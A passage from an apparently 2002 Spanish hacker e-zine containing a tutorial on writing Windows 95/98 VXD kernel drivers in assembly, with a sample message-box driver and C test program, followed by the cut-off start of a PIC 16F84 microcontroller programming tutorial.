RING3 Vs RING0
--------------

La mayoría de sistemas Operativos disponibles actualmente
para plataformas intel utilizan unicamente 2 de los 4 posibles
niveles de privilegio (RING3 y RING0)
El RING3 o anillo de usuario carece de privilegios de
acceso a puertos, mientras que RING0 o anillo supervisor pude acceder
libremente a todos los puertos de entrada salida (mediante
las instrucciones in/out en ensamblador) y a la memoria mapeada por
los dispositivos.
Por eso todos los drivers de dispositivos que necesiten acceder
a puertos tienen que codificar una VXD para poder tener acceso a ellos.


ARENAS
------

La memoria lineal de windows 95/98 esta dividida en arenas
Existen 4 arenas

ARENA VM 0-400000
ARENA PERPROCESS 400000-80000000
ARENA SHARED 80000000-C0000000
ARENA RING0 C0000000-FFFFFFFF



Herramientas de programación de una VXD en ASM
----------------------------------------------

El MS-DDK (Device Driver Kit de Microsoft) dispone de ensambladores y
linkadores que hacen posible la compilación de VXD en lenguaje ensamblador.
Para la realización de los ejemplos de este tutorial he utilizado:
MASM versión 6.11
LINK versión 2.60 (disponible en el MSVC 2.0)

Además es bastante importante los archivos .inc disponibles
también en el DDK en el directorio \inc32)
Sobretodo el vmm.inc con macros para definir los segmentos
de la VXD que vamos a utilizar, y macros para definir estructuras
de exportación y realizar llamadas a otras VXD.
Existe tambien un ejecutable llamado mapsym que genera
archivos .sym con información utilizable por debugers como el wdeb386
disponible tambien en el DDK.

Aunque de todos modos yo he utilizado el SoftICE de NuMega
para obtener información sobre las VXD de ejemplo.
SoftIce es un Debuger de ring0 para win95/98/NT , se carga
en memoria como una VXD e intercepta la INT 1 y 3 para poder tracer
tanto código de ring3 en las arenas perprocess y shared o código
de ring0 situado en todas las VXD del sistema.
Es especialmente util ya que muestra información sobre VXD's
cargadas en memoria ,como por ejemplo llamadas exportadas a ring0 ,
llamadas exportadas a ring3 , situación del manejador de mensajes,
situación del DDB en memoria etc.
Además dispone de un convertidor de archivos de symbolos .sym
a su propio formato .nms (numega symbols?) por lo que podemos utilizar
los archivos .sym disponibles en el DDK en el directorio \debug con
información sobre algunas de las VXD más importantes como VMM.


Estructura Simple de una VXD
----------------------------

Una VXD está formada por segmentos, cada segmento puede
contener código ,datos puede ser de 32 bits o de 16 bits ,windows
puede paginar su contenido (intercambiarlo con disco) o puede contener
información que haga imposible que esos datos sean paginables.
Dentro de una VXD podemos encontrar 5 diferentes segmentos,
cada uno de ellos con características diferentes. Para definirlos
podemos utilizar las siguientes Macros en VMM.INC.

- VxD_CODE_SEG y VxD_CODE_ENDS: Es un segmento de código de 32 bits. La declaración de este segmento es opcional.

- VxD_DATA_SEG y VxD_DATA_ENDS: Define un segmento de datos de 32 bits.Es Obligatoria su declaración.

- VxD_ICODE_SEG and VxD_ICODE_ENDS:Estas macros definen en final
y el inicio de el segmento con código de inicialización. Su declaración
es opcional y su contenido se descartará despues de recibir el mensaje
Init_Complete.

- VxD_IDATA_SEG y VxD_IDATA_ENDS: Otro segmento opcional, esta vez con los datos de inicialización.

- VxD_REAL_INIT_SEG y VxD_REAL_INIT_ENDS: Es un segmento de 16 bits que contiene codigo que se ejecutará antes de saltar a modo protegido. Es util para verificar si ya se ha cargado la vxd y así
evitar cargarla otra vez (eso pasa por ejemplo cuando hay dos lineas
con device=driver.vxd en system.ini). Su uso es Opcional.


DDB
---
El DDB o device descriptor block es una estructura de datos
que poseen todas las VXD y que contiene punteros a estructuras importantes como tablas de exportación, punteros a código de inicialización etc.
El IDA es uno de los mejores desensambladores y uno de los
pocos que permite desensamblar una VXD reconociendo esta estructura.
Veamos un volcado del DDB devuelto por el IDA.

C0000028 public PRUEBA_DDB

C0000028 PRUEBA_DDB dd 0 ; Puntero al Siguiente DDB
C000002C SDK_Version_0 dw 400h ; Numero de version del SDK
C000002E Req_Device_Number_0 dw 666h ; Numero de Identificación de VDX
C0000030 Dev_Major_Version_0 db 1 ; Version parte alta
C0000031 Dev_Minor_Version_0 db 0 ; versión parte baja
C0000032 Flags_0 dw 0 ; Flags for init calls complete
C0000034 Name_0 db 'PRUEBA ' ; Nombre del Dispositivo
C000003C Init_Order_0 dd 80000000h ; Orden de la Inicialización.
C0000040 Control_Proc_0 dd offset Control_0 ; Puntero al manejador de mensajes
C0000044 V86_API_Proc_0 dd offset V86_0 ; Offset del procedimiento V86
C0000048 PM_API_Proc_0 dd 0 ; Offset del procedimiento PM
C000004C V86_API_CSIP_0 dd 0 ; CS:IP punto de entrada
C0000050 PM_API_CSIP_0 dd 0 ; CS:IP punto de entrada
C0000054 Reference_Data_0 dd 0 ; Puntero a datos
C0000058 Service_Table_Ptr_0 dd offset Service_Table_0 ; Puntero a la tabla de servicios
C000005C Service_Size_0 dd 1 ; Numero de servicios exportados
C0000060 Win32_Service_Table_0 dd 0 ; Puntero a la tabla de exportación a RING3
C0000064 Prev_0 dd 50726576h ; Puntero al DDB anterior
C0000068 Size_0 dd 50h ; Tamaño VxD_Desc_Block
C000006C Reserved1_0 dd 52737631h
C0000070 Reserved2_0 dd 52737632h
C0000074 Reserved3_0 dd 52737633h


Como podéis ver el primer campo de esta estructura en un puntero a la siguiente DDB
en memoria. Este valor es introducido por windows con la carga de una VXD despues de la nuestra.
Las DDB por lo tanto estan encadenadas a partir de la primera DDB en memoria (la DDB de
vmm.vxd) se pueden ir recorriendo todas siguiendo los punteros almacenados en cada DDB . La última VXD en la cadena contendrá el valor 0 en este campo.
Además hay información como el numero de versión del sdk utilizada para la compilación
el VXD_ID que es un identificador de la VXD, el número de versión de la VDX.


Para generar el DDB dentro de una VXD utilizaremos la macro VxD_Desc_Block definida en vmm.inc.

PRUEBA_DDB VxD_Desc_Block <,,PRUEBA_Device_ID,1,0,,"PRUEBA",080000000h,\
GENERIC_Control,GENERIC_VM, , \
,,,PRUEBA_Service_Table, 1>

Fijaos que podemos dejar campos sin definir.


VXD_ID
------

El numero de identificación de VXD no es obligatorio , pero si necesario en el
caso de que una VXD exporte funciones a aplicaciones de RING3 u a otras VXDs. En ese caso
es necesario ya que para llamar a las funciones exportadas se necesita el numero de la función
exportada y el número de la VXD en la que está esa función.
El hecho de que haya que introducir un número que identifique a una VXD es bastante
problemático . ¿Qué pasaría si dos desarrolladores de drivers deciden poner el mismo
identificador a distintas VXD's?.
Para evitar estos problemas Microsoft Permite Reservar numeros de identificación. En
el DDK existe un formulario para pedir una reserva de número. El formulario contiene la siguiente
información.


Virtual Device ID Request
=========================

Contact Name(s):

Phone Number(s): ( ) ___- ____

CIS or Online Acct: ____________

Internet ID:_______________________________________

Company Name:
Address:
Address:
City/State/Zip:
Country:
# VxD's planned:


----- Repeat following section for each VxD -----

VxD Name: _______.VXD Virtual __________ Device

Will this VxD be loaded from TSR? Y/N ___

Will the VxD call out to a DOS TSR/device driver
via "INT 2Fh Call out" (INT 2Fh, AX=1607h) ? Y/N ___

Please provide estimated number of:
API's/Exports: V86? ___ PM? ___
VxD Services? ___

If replacing a "standard" VxD, which one:______________

Purpose of VxD:

Technical Summary (eg: IRQ hooked, I/O ports trapped, etc):

In what way or with what products will this VxD be distributed?

Will its API or Services be documented for other companies to call?



LINKADO DINAMICO DENTRO DEL KERNEL
----------------------------------

Win95/98 posee un mecanismo de linkado dinámico dentro del núcleo. Cada VXD exporta
funciones a otras VXD ,pero el mecanismo de carga puede hacer que una VXD se carge
en diferentes direcciones de memoria, segun la configuración del ordenador.
De ese modo, ¿como sabe una VXD donde residen las funciones que pertenecen a otras
VXDs?
Aquí es donde entra en juego la INT 020h , la estructura de una llamada a una VXD
desde otra VXD tendría la siguiente forma:

int 020h
db 00010002h

La ejecución de la interrupción 20 llamaría al manejador de está interrupción que
se encargaría de buscar en la cadena de DDB's la VXD con ID 1 y numero de función 2
Tras localizar la dirección en memoria de la función sustiuirá en memoria el
código anterior por el siguiente

CALL dword ptr [dirección]

Esto se puede hacer ya que ambas instrucciones ocupan 6 bytes en memoria. Tras la
sustitución esa llamada permanecerá así hasta salir de windows.
Esto tiene ventajas e inconvenientes.
La ventaja es que la dirección de salto se resuelve sólo una vez, las siguientes llamadas
encontrarán la instrucción CALL y no tendrán que llamar otra vez al linkador dinámico.
Pero el inconveniente es que las VXD's que se cargan dinámicamente no se podran
eliminar de memoria si exportan servicios a otras VXD ya que puede haber código de este
estilo...

CALL dword ptr [direcciónVXDdinámica]

.. cuando la VXD dinámica puede no estar en memoria.

Existen macros en vmm.inc que permiten realizar llamadas a otras VXD's
Por ejemplo

VMMCall Install_IO_Handler

Donde Install_IO_Handle es una constante double word que contiene el numero de VXD
y función a llamar (estará definida en el archivo .inc de su VXD) .


Exportación de Funciones a otras VXD
------------------------------------

Para que una VXD pueda exportar funciones Unicamente hay que modificar el VXD_Desc_Block
para que contenga un puntero a una tabla con las direcciones de las funciones que
queremos exportar.
Por ejemplo:


PRUEBA_Service_Table_num_serv equ 2
PRUEBA_Device_ID equ 0666h

PRUEBA_DDB VxD_Desc_Block <,,PRUEBA_Device_ID,1,0,,"PRUEBA",080000000h,\
GENERIC_Control,GENERIC_VM, , \
,,,PRUEBA_Service_Table, PRUEBA_Service_Table_num_serv>

y definimos PRUEBA_Service_Table como

PRUEBA_Service_Table:
dd Get_Version
dd Get_Time

Si desde otra VXD queremos llamar al procedimiento Get_Version de nuestra VXD PRUEBA
podremos utilizar este código:

int 020h
dd 066600000h

Si desde otra VXD queremos llamar al procedimiento Get_Time de nuestra VXD PRUEBA
utilizaremos el siguiente código:

int 020h
dd 066600001h

El numero de posición en el que están situados en la Service_Table es el número
de función que luego tendrán.

CONTROL DE MENSAJES
-------------------

Una VXD puede recibir gran cantidad de mensajes para ello debe definir un gestor de
mensajes. En la DDB existe un puntero al gestor de mensajes. El gestor de mensajes
debe existir aunque no queramos realizar ninguna acción con ningun evento.

Posibles Mensajes que una VXD puede interceptar son:

SYS_CRITICAL_INIT
DEVICE_INIT
INIT_COMPLETE
SYS_VM_INIT
SYS_VM_TERMINATE
SYSTEM_EXIT
SYS_CRITICAL_EXIT
CREATE_VM
VM_CRITICAL_INIT
VM_INIT
VM_TERMINATE
VM_NOT_EXECUTEABLE
DEVICE_REBOOT_NOTIFY
CRIT_REBOOT_NOTIFY
CLOSE_VM_NOTIFY
POWER_EVENT
SYS_DYNAMIC_DEVICE_INIT
SYS_DYNAMIC_DEVICE_EXIT
CREATE_THREAD
THREAD_INIT
TERMINATE_THREAD
THREAD_Not_Executeable
DESTROY_THREAD
PNP_NEW_DEVNODE
SYS_VM_TERMINATE2
SYSTEM_EXIT2

Los más comunes sería DEVICE_INIT o SYS_CRITICAL_INIT con funciones de inicialización.
Habrían por ejemplo mensajes de creacción de VM (Virtual Machine) (Ventanas de MSDOS)
algunas VXD realizan tareas de monitorización dentro de ventanas de MSDOS por lo que
es necesario crear procedimientos que se ejecutarán con la creacción de una ventana
de MSDOS.

Sin duda uno de los mensajes más interesantes sería este :

W32_DEVICEIOCONTROL

Es un mensaje que se recibe tras la ejecución por parte de una aplicación de ring3 de
la llamada a sistema DeviceIOControl. Este sería uno de los posibles sistemas de comunicación con la VXD desde RING3.
El mecanismo es muy similar al comando IOCTL de los sistemas LINUX.

Primero una aplicación de ring3 debe obtener un handle de la VXD para ello
llama al api CreateFile con el nombre de archivo "\\.\prueba.vxd" y luego
utilizando la llamada a sistema DeviceIOControl realiza la petición de un servicio.

Para definir el manejador de eventos podemos utilizar las siguientes macros de VMM.inc


PRUEBA_DDB VxD_Desc_Block <,,PRUEBA_Device_ID,1,0,,"PRUEBA",080000000h,\
PRUEBA_Control,PRUEBA_VM, , \
,,,PRUEBA_Service_Table, 1>


VxD_LOCKED_CODE_SEG

BeginProc PRUEBA_Control
Control_Dispatch Device_Init, PRUEBA_Device_Init
Control_Dispatch Create_VM, PRUEBA_VM
Control_Dispatch W32_DEVICEIOCONTROL,PRUEBA_IOCTL
clc
ret
EndProc PRUEBA_Control


VxD_LOCKED_CODE_ENDS

Como vemos La macro Control_Dispatch verifica si el evento es Device_Init si es así
llama al procedimiento PRUEBA_Device_Init.
Si el evento es Create_VM llama al procedimiento PRUEBA_VM etc.
Realmente esta macro genera código de este estilo:

0028:C0197A47 83F801 CMP EAX,01
0028:C0197A4A 0F8464541F00 JZ C038CEB4
0028:C0197A50 83F807 CMP EAX,07
0028:C0197A53 74DB JZ C0197A30
0028:C0197A55 83F823 CMP EAX,23
0028:C0197A58 74E9 JZ C0197A43
0028:C0197A5A F8 CLC
0028:C0197A5B C3 RET

Nota: Volcado producido con el SoftIce

En el registro EAX windows nos pasará el mensaje que se ha producido y segun el mensaje
que sea saltaremos a un procedimiento u a otro.


VXDCall
-------

Este es otro mecanismo de exportación de funciones , quizás menos conocido que el DeviceIOControl,debido a la poca información que proporciona Microsoft sobre el Tema.
De hecho su uso se fundamenta en una API de la librería kernel32.dll no documentada.
Esta api nos proporciona un potente interface entre Ring3 y Ring0.
Veamos un ejemplo de la llamada al servicio _PageFree exportado por VMM.VXD.

push 00000000h ; Parámetro
push dword ptr [allocated_addr] ; Parámetro
push 0001000Ah ; Nº VXD y Nº Servicio
call dword ptr [direccion_VxDCall] ; LLamada a VXDCall

Primero apilamos los parámetros que necesita la llamada luego apilamos un double word
que contiene el número de indentificación de la VXD y el servicio Win32 al que queremos
llamar y luego realizamos una llamada a procedimiento (CALL) a la función VXDCall.

Hay que tener en cuenta que el número del servicio exportado a RING3 no corresponde con
el número de servicio de la Service_Table (Funciones exportadas a otras VXD's).
De hecho hay 2 tablas diferentes para almacenar esos servicios y puden contener punteros a diferentes funciones. Para exportar servicios a RING3 realizaremos las siguientes modificaciones.

Introduciremos la tabla de exportación con el siguiente formato

PRUEBA_Service_Win32:

dd num_serv_exportado_a_Ring3 ;Aquí Guardamos el numero de servicios
;Exportados

dd 0h ;4 Bytes vacíos !!! ¿?

dd Get_Version ;Puntero al Servicio
dd num_param_Get_Version ;Numero de parámetros que tiene el servicio
dd Get_Time ;Puntero al Servicio
dd num_param_Get_Time ;Número de parámetros que tiene el servicio .
.
.
etc

Y luego en el gestor de mensajes interceptaremos el mensaje Device_init

Control_Dispatch Device_Init, PRUEBA_Device_Init

Donde PRUEBA_Device_Init será un procedimiento con el siguiente código.

BeginProc PRUEBA_Device_Init
pushad
mov eax,PRUEBA_Service_Win32
mov [PRUEBA_DDB.DDB_Win32_Service_Table],eax ;Pongo en la entrada del DDB
;Un puntero a nuestra tabla
or [PRUEBA_DDB.DDB_Flags],DDB_HAS_WIN32_SVCS ;Indico en el registro de Flags
;Que tengo Servicios a exportar
;a Ring3
popad
clc ;carry flag 0 para indicar que no hubo errores
;en la carga de VXD
ret
EndProc PRUEBA_Device_Init

Otra posibilidad es utilizar el API de la VXD VMM para registrar los servicios.

BeginProc PRUEBA_Device_Init
pushad
push PRUEBA_Service_Win32 ;Un puntero a la tabla de exportación a win32
push PRUEBA_DDB ;Un puntero a nuestro DDB
VXDCALL _Register_Win32_Service ;LLamamos al servicio _Register_Win32_Service
;de la VXD VMM, realmente esta api hace
;lo mismo que hago yo en el codigo de arriba
popad
clc
ret
EndProc PRUEBA_Device_Init

Por supuesto todas las constantes y macros utilizadas pertenecen a VMM.INC.


EJEMPLO PRACTICO
----------------

Trás esta introducción teórica a la Programación de VXD veamos un ejemplo práctico de exportación de funciones y gestión de mensajes.
Esta VXD exporta 3 funciones:

PRUEBA_Get_Version es un servicio exportado a otras VXD para
que puedan obtener el número de versión de
nuestra VXD.
Pueden llamarla utilizando la siguiente instrucción.

int 020h
dd 06660000h

PRUEBA_Mensajito es un servicio exportado a RING3 mediente
la Service_Win32_Table. Por lo tanto
las aplicaciones pueden llamarla mediante
el api CALLVXD de la librería Kernel32.dll.

PRUEBA_IOCTL es el manejador de los mensajes IOCTL.
en este ejemplo he implementado unicamente
un servicio IOCTL con número 0x123.

PRUEBA_VM es el manejador del evento CREATE_VM
Se encarga de visualizar un mensaje cada
vez que se abre una ventana de MSDOS.


;---------------------- PRUEBA.ASM -------------------------------

PAGE 58,132
;******************************************************************************
;
; Title: PRUEBA.ASM Programa de ejemplo de creacci¢n de una VXD
;
; Version: 1.00
;
;==============================================================================

.386p

;******************************************************************************
; I N C L U D E S
;******************************************************************************

.XLIST
INCLUDE VMM.Inc
INCLUDE Debug.Inc
INCLUDE SHELL.inc
.LIST


PRUEBA_Device_ID equ 0666h
PUBLIC PRUEBA_DDB


;******************************************************************************
; D A T A
;******************************************************************************

VxD_IDATA_SEG
VxD_IDATA_ENDS


VxD_DATA_SEG
db 'ESTA ES UNA VXD DE EJEMPLO DE VIESLLO',0
mensaje db 'Se ha ejecutado el Servicio Win32 de la VXD 0666h funci¢n 0',0
mensajeVM db 'Se acaba de abrir una ventana de MSDOS',0
mensaje_ioctl db 'Se acaba de recibir el comando ioctl 0x123',0
VxD_DATA_ENDS


VxD_LOCKED_DATA_SEG

;Aquí Defino el DDB muy Importante

PRUEBA_DDB VxD_Desc_Block <,,PRUEBA_Device_ID,1,0,,"PRUEBA",080000000h,\
PRUEBA_Control,PRUEBA_VM, , \
,,,PRUEBA_Service_Table, 1>

;Aquí defino los servicios exportados a otras VXD's
;En este caso sólo uno.

PRUEBA_Service_table:
dd PRUEBA_Get_Version

;Aquí defino los servicios exportados a RING3 mediante VXDCALL
PRUEBA_Service_Win32:
dd 1
dd 0
dd PRUEBA_Mensajito
dd 0
VxD_LOCKED_DATA_ENDS




VxD_ICODE_SEG

;******************************************************************************
;
; VXD_Device_Init
;
; DESCRIPCION:
; Esta es la función de inicialización
;
; ENTRADAS:
; EBX =VM handle
;
; SALIDAS:
; Carry flag 0 indica carga con exito
; Carry flag 1 indica abortar la carga de la VXD.
;

;==============================================================================


BeginProc PRUEBA_Device_Init
pushad
mov eax,PRUEBA_Service_Win32
mov [PRUEBA_DDB.DDB_Win32_Service_Table],eax
or [PRUEBA_DDB.DDB_Flags],DDB_HAS_WIN32_SVCS
popad
clc ;no error - load VxD
ret

EndProc PRUEBA_Device_Init

VxD_ICODE_ENDS



VxD_CODE_SEG


BeginProc PRUEBA_VM
pushad ;EN EBX el VM_HANDLE
VMMCall Get_Cur_VM_Handle
xor esi,esi
xor edx,edx
mov edi,offset mensajeVM
mov ecx,edi
mov eax,MB_OK
int 020h
dd 00170004h ;VMMCall SHELL_Message
popad
clc ;no error - continue
ret
EndProc PRUEBA_VM

BeginProc PRUEBA_ioctl

mov edi,esp ;EDI ser un puntero a los par metros pasados
add edi,014h ;con DeviceIOControl ,esos par metros los
;recibe la VXD en la PILA
mov eax,[edi]
cmp eax,0123h
jnz salir
;Si se ha enviado el mensaje

VMMCall Get_Cur_VM_Handle
xor esi,esi
xor edx,edx
mov edi,offset mensaje_ioctl
mov ecx,edi
mov eax,MB_OK
int 020h
dd 00170004h ;VMMCall SHELL_Message

salir:
xor eax,eax ;Importante ya que el mensaje IOCTL Open
;Debe devolver en eax 0 para indicar que
;la VXD exporta funciones IOCTL
ret
EndProc PRUEBA_ioctl


BeginProc PRUEBA_Get_Version ,Service ;Servicio que devuelve el ;número de versión
mov eax,012345678h ;En nuestro caso 01234567h
ret
EndProc PRUEBA_Get_Version

BeginProc PRUEBA_Mensajito,Service
VMMCall Get_Cur_VM_Handle
xor esi,esi
xor edx,edx
mov edi,offset mensaje
mov ecx,edi
mov eax,MB_OK
int 020h
dd 00170004h ;VMMCall SHELL_Message
ret
EndProc PRUEBA_Mensajito


VxD_CODE_ENDS



VxD_LOCKED_CODE_SEG

;******************************************************************************
;
;
; Descripción:
; Aquí está la rutina de manejo de mensajes
;
; Valores recibidos:
; EAX = El número del mensaje
; EBX = El VM Handle
;
;==============================================================================

BeginProc PRUEBA_Control

Control_Dispatch Device_Init, PRUEBA_Device_Init
Control_Dispatch Create_VM, PRUEBA_VM
Control_Dispatch W32_DEVICEIOCONTROL,Prueba_ioctl
clc
ret

EndProc PRUEBA_Control


VxD_LOCKED_CODE_ENDS


END


Podemos implementar un programa en Visual C que permita
testear el funcionamiento de nuestra VXD.

#include <windows.h>

typedef long (CALLBACK* LLAMADA)(unsigned long);

int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,
PSTR szCmdLine,int iCmdShow)
{

// Rutina para encontrar la direccion de CALLVXD en memoria
char texto[100];
long kernel=(long) GetModuleHandle("kernel32.dll");
long PEhdr=(long) (*((long *) (kernel+0x3C)))+(long) kernel;
long exporttable=(long) (*((long *) (PEhdr+0x78))+(long)kernel+ 0x1c);
long *dirprimercardinal=(long *)(*((long *) exporttable)+(long) kernel);
LLAMADA vxdcall=(LLAMADA) (*dirprimercardinal+(long) kernel);

//LLAMADA vxdcall=(LLAMADA) 0xbff713d4;

//Realizo la llamada a mi VXD por medio de CALLVXD
unsigned long salida=vxdcall(0x06660000);




//Accedo a mi VXD por medio de un comando IOControl
HANDLE mivxd=CreateFile(
"\\\\.\\PRUEBA", // pointer to name of the file
0, // access (read-write) mode
0, // share mode
0, // pointer to security descriptor
CREATE_NEW, // how to create
FILE_FLAG_DELETE_ON_CLOSE, // file attributes
0 // handle to file with attributes to copy
);

DeviceIoControl(mivxd, 0x123, 0,0,0,0,0,0);

return 1;
}

Como podemos ver este código realiza 2 llamadas a la VXD Prueba
la primera la realiza por medio del api CALLVXD y la segunda por medio
del api DeviceIoControl.
La busqueda de la dirección del api CALLVXD no es trivial, un posible método sería utilizar las apis GetModuleHandleA y GetProcAddress para obtener la dirección de CALLVXD pero eso no es posible. Las librerías DLL exportan funciones de 2 maneras diferentes mediante el nombre de la función o mediante ordinal (un número que identifica a la función dentro de la librería), desgraciadamente Microsoft exporta las primeras funciones del kernel32 unicamente por ordinal . El hecho de que una funcion se exporte unicamente por ordinal no imposibilita el hecho de utilizar el api GetProcAddress para obtener su dirección lineal, pero si , si esta se encuentra en la librería Kernel32. Microsoft no pone fácil el uso de apis no documentadas.
Una solución a este problema está implementada en el código de ejemplo. Se basa en buscar la dirección de CALLVXD directamente de la export table del Kernel32. El código empieza con una llamada a GetModuleHandle ya que mediante esta llamada se puede obtener la dirección lineal del kernel32.dll en memoria y a partir de ahí se puede buscar en la cabecera PE la dirección de la export table y por lo tanto del api de ordinal 1 (CALLVXD).

La ejecución de este código tendría como resultado la visualización de dos messagebox
la primera con el siguiente texto:
"Se ha ejecutado el Servicio Win32 de la VXD 0666h funci¢n 0"
Y la segunda con este texto:
"Se acaba de recibir el comando ioctl 0x123"


Instrucciones de Compilaci¢n
----------------------------
El MASM proporciona herramientas que facilitan la compilación
de ejecutables, como el NMAKE.
Para compilar el archivo de ejemplo se necesitan 3 archivos.
prueba.asm Archivo con el código fuente
prueba.def Archivo con la definicion de segmentos
y simbolos exportados
makefile Archivo con las instrucciones de compilación


El archivo prueba.def tendrá la siguiente estructura.

;----------------------- Prueba.def --------------------------------

VXD PRUEBA

DESCRIPTION 'GENERIC Sample VxD for Microsoft Windows'

SEGMENTS
_LPTEXT CLASS 'LCODE' PRELOAD NONDISCARDABLE
_LTEXT CLASS 'LCODE' PRELOAD NONDISCARDABLE
_LDATA CLASS 'LCODE' PRELOAD NONDISCARDABLE
_TEXT CLASS 'LCODE' PRELOAD NONDISCARDABLE
_DATA CLASS 'LCODE' PRELOAD NONDISCARDABLE
_ITEXT CLASS 'ICODE' DISCARDABLE
_IDATA CLASS 'ICODE' DISCARDABLE
_PTEXT CLASS 'PCODE' NONDISCARDABLE
_PDATA CLASS 'PDATA' NONDISCARDABLE SHARED
_STEXT CLASS 'SCODE' RESIDENT
_SDATA CLASS 'SCODE' RESIDENT
_16ICODE CLASS '16ICODE' PRELOAD DISCARDABLE
_RCODE CLASS 'RCODE'

EXPORTS
PRUEBA_DDB @1



;---------------------------------------------------------------------

En este archivo se define los segmentos a utilizar y la
tabla de exportación debe contener la etiqueta que apunte a nuestra
DDB.

;------------------------ MAKEFILE------------------------------------


NAME = PRUEBA

LINK =

!ifdef DEBUG
DDEBUG =-DDEBLEVEL=1 -DDEBUG
!else
DDEBUG =-DDEBLEVEL=0
!endif

ASM = ml
AFLAGS = -IC:\virus\masm611\vxdinc -DBLD_COFF -DIS_32 -W2 -c -Cx -Zm -DMASM6 $(DDEBUG)
ASMENV = ML
LFLAGS = /VXD /NOD


.asm.obj:
set $(ASMENV)=$(AFLAGS)
$(ASM) -Fo$*.obj $<

all : $(NAME).VXD

OBJS = prueba.obj

prueba.obj: prueba.asm

$(NAME).vxd: $(NAME).def $(OBJS)
link @<<$(NAME).lnk
$(LFLAGS)
/OUT:$(NAME).vxd
/MAP:$(NAME).map
/DEF:$(NAME).def
$(OBJS)
<<
mapsym -s -o $(NAME).sym $(NAME).map


;---------------------------------------------------------------------

Tras la creacción de estos archivos la ejecución del comando
nmake compilará la vxd.


*EOF*
|-----------------------------------------------------------------------------|
[ 7a69#14 ] [ 21-10-2002 ]
\ /
\-------------------------------------------------------------------------/
{ 9 - Introduccion a la programacion del PIC 16F84. }{ Fkt }
|-----------------------------------------------------------------------|





CONTENIDO:
1. ¿Que es un PIC?
2. ¿Proque el PIC 16F84?
3. ¿Que Necesito?
4. Esquema del PIC 16F84
5. Diagrama de la Memoria
6. Instrucciones Y Ejemplo
6.1 Conexion con el circuito externo
7. Fuses
7.1 OSC
7.2 WDT
7.3 PWRT
7.4 CP
8. Compilando Y Simulando El Programa
9. Aclaraciones
10. Referencias

1. ¿Que es un PIC?:

Un PIC basicamente es un dispositivo programable creado por la empresa Mi-
crochip (www.microchip.com).

2. ¿Proque el PIC 16F84?:

Sencillamente porque es un PIC de gama media bueno para aprender a progra-
mar PICs y se puede hacer bastantes cosas interesantes con él.

3. ¿Que necesito?:

Este tutorial esta orientado a la programacion de pics en Linux, se utiliza
ran las siguientes herramientas:
* El paquete gputils el cual trae el gpasm, que es el compilador ASM para
PICs y que es compatible con el MPASM de Microchip para Windows.
* La utilidad gpsim, que es un simulador estupendo para ver si el programa
hace lo que tu quieres antes de grabarlo en el PIC.

Obviamente se necesitan unos minimos conocimientos de programacion, unos
pocos mas de electronica digital y tambien de teoria de circuitos.

4. Esquema del PIC 16F84:

+---------------------+
-<->-+ RA2 (1) (18) RA1 +-<->- -<->- = Pines Entrada/Salida
-<->-+ RA3 (2) (17) RA0 +-<->- --<-- = Pines Solo Entrada
-<->-+ RA4 (3) (16) OSC1 +--<-- -->-- = Pines Solo Salida
-->--+ RST (4) (15) OSC2 +--<-- (N) = Numero de Patilla N
-->--+ GND (5) (14) VCC +--<--
-<->-+ RB0 (6) (13) RB7 +-<->-
-<->-+ RB1 (7) (12) RB6 +-<->-
-<->-+ RB2 (8) (11) RB5 +-<->-
-<->-+ RB3 (9) (10) RB4 +-<->-
+---------------------+

La alimentacion del PIC no puede sobrepasar los 5 voltios.
La patilla de RST es activa a nivel bajo, luego si queremos que no se rese-
tee la conectaremos con VCC a traves de una resistencia.
Las patillas no usadas tambien habra que conectarlas a VCC a traves de una
resistencia.
El PIN 3 (RA4) aparte de poder usarlo como entrada/salida se puede usar co-
mo temporizador, cuando esta configurado como salida se comporta como un co
lector abierto con lo cual hay que poner una resistencia de Pull-Up con VCC
para el uno logico.
El PIN 6 (RB0) tambien puede servir como interrupcion externa.
RA0-RA4 contituyen el PORTA y RB0-RB7 constituyen el PORTB.

5. Diagrama de la Memoria:

+---------------------+
00h + INDF | INDF + 80h
01h + TMR0 | OPTION + 81h
02h + PCL | PCL + 82h
03h + STATUS | STATUS + 83h
04h + FSR | FSR + 84h
05h + PORTA | TRISA + 85h
06h + PORTB | TRISB + 86h
07h + | + 87h
08h + EEDATA | EECON1 + 88h
09h + EEADR | EECON2 + 89h
0Ah + PCLATCH | PCLATCH + 8Ah
0Bh + INTCON | INTCON + 8Bh
............
+---------------------+
BANCO 0 | BANCO 1

Para configurar los pines como entrada o salida tenemos que programar
TRISA y TRISB, TRISA configura el PORTA y TRISB configura el PORTB.
Ahora tenemos que saber como ir al BANCO 1 para programarlos, para ello
tenemos que saber como es el registro STATUS de 8 bits:

7 6 5 4 3 2 1 0 <- Nº De Bit
+----------------------------------------+
| IRP | RP1 | RP0 | TO | PD | Z | DC | C |
+----------------------------------------+

Bien, para ir al BANCO 1 usaremos el bit 5 del registro STATUS (el RP0)
si ponemos un 0 estaremos en el BANCO 0 y si ponemos un 1 estaremos en
el BANCO 1.
Una vez ya sabemos movernos entre los bancos ahora habra que programar
TRISA y TRISB, para ello hay que saber que con un 1 se considera el PIN
de entrada y si hay un 0 se considera que el PIN es de salida. Veamos un
ejemplo:

Ponemos en TRISA 00011101, con lo q tendriamos:
RA0 -> ENTRADA
RA1 -> SALIDA
RA2 -> ENTRADA
RA3 -> ENTRADA
RA4 -> ENTRADA

Es decir, el bit menos significativo del TRISA configura RA0 y asi suce-
sivamente.

Como os habra resultado raro he especificado 8 bits en el TRISA cuando
este solo tiene 5 pines, pues obviamentelos 3 bits de mayor peso de TRISA
no se tendran en cuenta, OJO! esto no pasa con el TRISB ya que este si
tiene 8 pines.

6. Instrucciones Y Ejemplo:

En este apartado NO explicare todo el conjunto de instrucciones que tiene
el 16F84 ni cuanto dura cada una, ya que para eso teneis el datasheet.
Solo explicare las que nos hagan falta para este documento de introduccion.
Pondre un programa de ejemplo y lo ire explicando poco a poco.
Lo que hace el programa es interactuar con otro circuito que espera a que
el PIC le mande datos para procesarlos, y cuando los ha procesado le manda
al PIC una señal de validacion para decirle que ya ha terminado y que ya
le puede mandar datos nuevos. Seran 2 datos de 2 bits cada uno.
Los comentarios empiezan por ';'.

#include <p16f84.inc>
; Creo que esto es mas que obvio, incluye el archivo de cabecera para el
; PIC 16F84 y asi poder llamar a los registros por su nombre y no tener
; que saber el numero

LIST P=PIC16F84
; Con esto le decimos que chip es al compilador

__CONFIG _CP_ON & _WDT_OFF & _XT_OSC & _PWRTE_ON
; Esto se llaman fuses y los explicaré mas adelante en el siguiente punto

DVC equ 10
; Declaramos la constante DVC que sera la que nos determinara cuantas
